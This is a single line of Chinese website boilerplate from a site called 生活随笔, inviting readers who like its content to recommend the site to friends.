如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。